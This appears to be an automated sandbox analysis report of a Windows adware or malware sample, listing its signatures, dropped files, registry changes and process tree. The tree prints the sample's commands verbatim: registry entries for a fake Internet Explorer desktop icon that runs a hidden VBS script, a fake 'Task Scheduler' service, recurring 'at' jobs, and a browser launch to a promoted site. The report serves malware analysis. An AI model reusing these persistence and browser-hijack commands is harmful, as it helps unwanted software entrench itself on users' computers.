40a2e0f00ccf67a73b04807f991c1d3e503a6680ea5580410b489dbe2daf8c2b

Analysis

max time kernel
161s
max time network
175s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
30-12-2023 03:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0ca461ccc043c477bbd01eb56c5a278e.exe
Size

356KB
MD5

0ca461ccc043c477bbd01eb56c5a278e
SHA1

3931aee44b284b6175bde640e3297f00db12c011
SHA256

40a2e0f00ccf67a73b04807f991c1d3e503a6680ea5580410b489dbe2daf8c2b
SHA512

d1e4636a67f01ed4b98a82afa425b4cd883a28b5ebf100d6eb41a42bea9500362e1dddaad2b8f7642b995240b77bfedd522dd3d779459ed4dd9a2d3af4b91f42
SSDEEP

6144:Fu2urzh9xu/XkauF5JgrFuaufWG7JbOB4Dklhd8r3AXX2z+2FB8+iTJiPUbVxXRQ:Futrzh9xOXkWrJufWG7KlaAnUfiTJSS0

Score

8^/10

evasion persistence

Malware Config

Signatures

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003

Sets file to hidden 1 TTPs 7 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1724	attrib.exe
3480	attrib.exe
4116	attrib.exe
4364	attrib.exe
776	attrib.exe
4084	attrib.exe
3632	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	msn2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	0ca461ccc043c477bbd01eb56c5a278e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
1896	msn2.exe
2480	ks.exe
2396	ks.exe

Drops file in Program Files directory 33 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\software\360SE.vbs	cmd.exe
File opened for modification	C:\Program Files\software\fav\fav.cmd	attrib.exe
File opened for modification	C:\Program Files\software\36OSE.vbs	attrib.exe
File created	C:\Program Files\software\360SE.vbs	cmd.exe
File opened for modification	C:\Program Files\Windows NT\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\software\Microsoft\win.vbs	cmd.exe
File opened for modification	C:\Program Files\software\fav\tao.ico	cmd.exe
File opened for modification	C:\Program Files\software\Internet Expl0rer.lnk	cmd.exe
File opened for modification	C:\Program Files\software\361.cmd	attrib.exe
File opened for modification	C:\Program Files\software\fav\fav.cmd	cmd.exe
File created	C:\Program Files\software\software.vbs	cmd.exe
File opened for modification	C:\Program Files\software\360.cmd	cmd.exe
File created	C:\Program Files\software\361.cmd	cmd.exe
File opened for modification	C:\Program Files\Windows NT\360SE.vbs	cmd.exe
File created	C:\Program Files\Windows NT\36OSE.vbs	cmd.exe
File created	C:\Program Files\software\fav\fav.cmd	cmd.exe
File created	C:\Program Files\software\tool.cmd	cmd.exe
File created	C:\Program Files\software\360.cmd	cmd.exe
File opened for modification	C:\Program Files\software\361.cmd	cmd.exe
File created	C:\Program Files\software\Internet Expl0rer.lnk	cmd.exe
File opened for modification	C:\Program Files\software\Microsoft\win.vbs	attrib.exe
File opened for modification	C:\Program Files\xerox\tao.ico	cmd.exe
File created	C:\Program Files\software\Microsoft\win.vbs	cmd.exe
File opened for modification	C:\Program Files\software\software.vbs	cmd.exe
File opened for modification	C:\Program Files\software\360SE.vbs	attrib.exe
File opened for modification	C:\Program Files\software\36OSE.vbs	cmd.exe
File created	C:\Program Files\software\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\software\tool.cmd	attrib.exe
File created	C:\Program Files\Windows NT\360SE.vbs	cmd.exe
File created	C:\Program Files\software\fav\tao.ico	cmd.exe
File opened for modification	C:\Program Files\software\tool.cmd	cmd.exe
File created	C:\Program Files\xerox\tao.ico	cmd.exe
File opened for modification	C:\Program Files\software\360.cmd	attrib.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2116	sc.exe
1488	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 23 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "658539043"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31079246"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31079246"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{50C3A3ED-A741-11EE-B6AD-EA184F49D407} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "658539043"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "771040331"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31079246"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE

Modifies registry class 41 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32\ThreadingModel = "Apartment"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)\Command\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command\ = "wscript.exe c:\\progra~1\\software\\Microsoft\\win.vbs"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder\HideFolderVerbs	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32\ = "%systemRoot%\\SysWow64\\shdocvw.dll"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder\Attributes = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon\ = "shdoclc.dll,0"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\MUIVerb = "@shdoclc.dll,-10241"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InfoTip = "@shdoclc.dll,-880"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder\HideOnDesktopPerUser	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	0ca461ccc043c477bbd01eb56c5a278e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\LocalizedString = "@shdoclc.dll,-880"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder\WantsParsDisplayName	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\ = "┤≥┐¬╓≈╥│(&H)"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe

Runs net.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1148	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1148	iexplore.exe
1148	iexplore.exe
2640	IEXPLORE.EXE
2640	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 1164	2060	0ca461ccc043c477bbd01eb56c5a278e.exe	97
PID 2060 wrote to memory of 1164	2060	0ca461ccc043c477bbd01eb56c5a278e.exe	97
PID 2060 wrote to memory of 1164	2060	0ca461ccc043c477bbd01eb56c5a278e.exe	97
PID 1164 wrote to memory of 2656	1164	WScript.exe	99
PID 1164 wrote to memory of 2656	1164	WScript.exe	99
PID 1164 wrote to memory of 2656	1164	WScript.exe	99
PID 2656 wrote to memory of 1148	2656	cmd.exe	101
PID 2656 wrote to memory of 1148	2656	cmd.exe	101
PID 1164 wrote to memory of 1428	1164	WScript.exe	103
PID 1164 wrote to memory of 1428	1164	WScript.exe	103
PID 1164 wrote to memory of 1428	1164	WScript.exe	103
PID 1428 wrote to memory of 3608	1428	cmd.exe	105
PID 1428 wrote to memory of 3608	1428	cmd.exe	105
PID 1428 wrote to memory of 3608	1428	cmd.exe	105
PID 1428 wrote to memory of 3696	1428	cmd.exe	106
PID 1428 wrote to memory of 3696	1428	cmd.exe	106
PID 1428 wrote to memory of 3696	1428	cmd.exe	106
PID 1428 wrote to memory of 452	1428	cmd.exe	107
PID 1428 wrote to memory of 452	1428	cmd.exe	107
PID 1428 wrote to memory of 452	1428	cmd.exe	107
PID 1428 wrote to memory of 4304	1428	cmd.exe	108
PID 1428 wrote to memory of 4304	1428	cmd.exe	108
PID 1428 wrote to memory of 4304	1428	cmd.exe	108
PID 1428 wrote to memory of 4840	1428	cmd.exe	109
PID 1428 wrote to memory of 4840	1428	cmd.exe	109
PID 1428 wrote to memory of 4840	1428	cmd.exe	109
PID 1428 wrote to memory of 4236	1428	cmd.exe	110
PID 1428 wrote to memory of 4236	1428	cmd.exe	110
PID 1428 wrote to memory of 4236	1428	cmd.exe	110
PID 1428 wrote to memory of 3084	1428	cmd.exe	113
PID 1428 wrote to memory of 3084	1428	cmd.exe	113
PID 1428 wrote to memory of 3084	1428	cmd.exe	113
PID 1428 wrote to memory of 3636	1428	cmd.exe	114
PID 1428 wrote to memory of 3636	1428	cmd.exe	114
PID 1428 wrote to memory of 3636	1428	cmd.exe	114
PID 1428 wrote to memory of 4520	1428	cmd.exe	115
PID 1428 wrote to memory of 4520	1428	cmd.exe	115
PID 1428 wrote to memory of 4520	1428	cmd.exe	115
PID 1428 wrote to memory of 2800	1428	cmd.exe	116
PID 1428 wrote to memory of 2800	1428	cmd.exe	116
PID 1428 wrote to memory of 2800	1428	cmd.exe	116
PID 1428 wrote to memory of 1896	1428	cmd.exe	117
PID 1428 wrote to memory of 1896	1428	cmd.exe	117
PID 1428 wrote to memory of 1896	1428	cmd.exe	117
PID 1428 wrote to memory of 3612	1428	cmd.exe	118
PID 1428 wrote to memory of 3612	1428	cmd.exe	118
PID 1428 wrote to memory of 3612	1428	cmd.exe	118
PID 1428 wrote to memory of 3048	1428	cmd.exe	119
PID 1428 wrote to memory of 3048	1428	cmd.exe	119
PID 1428 wrote to memory of 3048	1428	cmd.exe	119
PID 1428 wrote to memory of 2252	1428	cmd.exe	120
PID 1428 wrote to memory of 2252	1428	cmd.exe	120
PID 1428 wrote to memory of 2252	1428	cmd.exe	120
PID 1428 wrote to memory of 4348	1428	cmd.exe	121
PID 1428 wrote to memory of 4348	1428	cmd.exe	121
PID 1428 wrote to memory of 4348	1428	cmd.exe	121
PID 1428 wrote to memory of 1260	1428	cmd.exe	122
PID 1428 wrote to memory of 1260	1428	cmd.exe	122
PID 1428 wrote to memory of 1260	1428	cmd.exe	122
PID 1428 wrote to memory of 2480	1428	cmd.exe	123
PID 1428 wrote to memory of 2480	1428	cmd.exe	123
PID 1428 wrote to memory of 2480	1428	cmd.exe	123
PID 1428 wrote to memory of 1716	1428	cmd.exe	124
PID 1428 wrote to memory of 1716	1428	cmd.exe	124

Views/modifies file attributes 1 TTPs 7 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4116	attrib.exe
4364	attrib.exe
776	attrib.exe
4084	attrib.exe
3632	attrib.exe
1724	attrib.exe
3480	attrib.exe

C:\Users\Admin\AppData\Local\Temp\0ca461ccc043c477bbd01eb56c5a278e.exe
"C:\Users\Admin\AppData\Local\Temp\0ca461ccc043c477bbd01eb56c5a278e.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup_free_ok.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C start /min iexplore http://www.4555.net/index2.html?ok
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.4555.net/index2.html?ok
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:1148
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1148 CREDAT:17410 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2640
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C .\tool.cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
      4⤵
      PID:3608
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}"
      4⤵
      Modifies registry class
      PID:3696
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f
      4⤵
      Modifies registry class
      PID:452
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f
      4⤵
      Modifies registry class
      PID:4304
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon"
      4⤵
      Modifies registry class
      PID:4840
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
      4⤵
      Modifies registry class
      PID:4236
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32"
      4⤵
      Modifies registry class
      PID:3084
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
      4⤵
      Modifies registry class
      PID:3636
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
      4⤵
      Modifies registry class
      PID:4520
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell"
      4⤵
      Modifies registry class
      PID:2800
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f
      4⤵
      Modifies registry class
      PID:1896
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)"
      4⤵
      Modifies registry class
      PID:3612
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
      4⤵
      Modifies registry class
      PID:3048
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command"
      4⤵
      Modifies registry class
      PID:2252
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "wscript.exe c:\progra~1\software\Microsoft\win.vbs" /f
      4⤵
      Modifies registry class
      PID:4348
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)"
      4⤵
      Modifies registry class
      PID:1260
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)\Command"
      4⤵
      Modifies registry class
      PID:2480
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0" /f REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder"
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
      4⤵
      Modifies registry class
      PID:1140
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:2560
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:1224
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:2596
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C .\runonce.cmd
    3⤵
    PID:932
  - - C:\Windows\SysWOW64\sc.exe
      sc create Schedule binpath= "C:\Windows\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
      4⤵
      Launches sc.exe
      PID:2116
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= auto
      4⤵
      Launches sc.exe
      PID:1488
  - - C:\Windows\SysWOW64\net.exe
      net start "Task Scheduler"
      4⤵
      PID:2740
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start "Task Scheduler"
        5⤵
        
        PID:3660
  - - C:\Windows\SysWOW64\at.exe
      at 8:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
      4⤵
      PID:1868
  - - C:\Windows\SysWOW64\at.exe
      at 11:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
      4⤵
      PID:4620
  - - C:\Windows\SysWOW64\at.exe
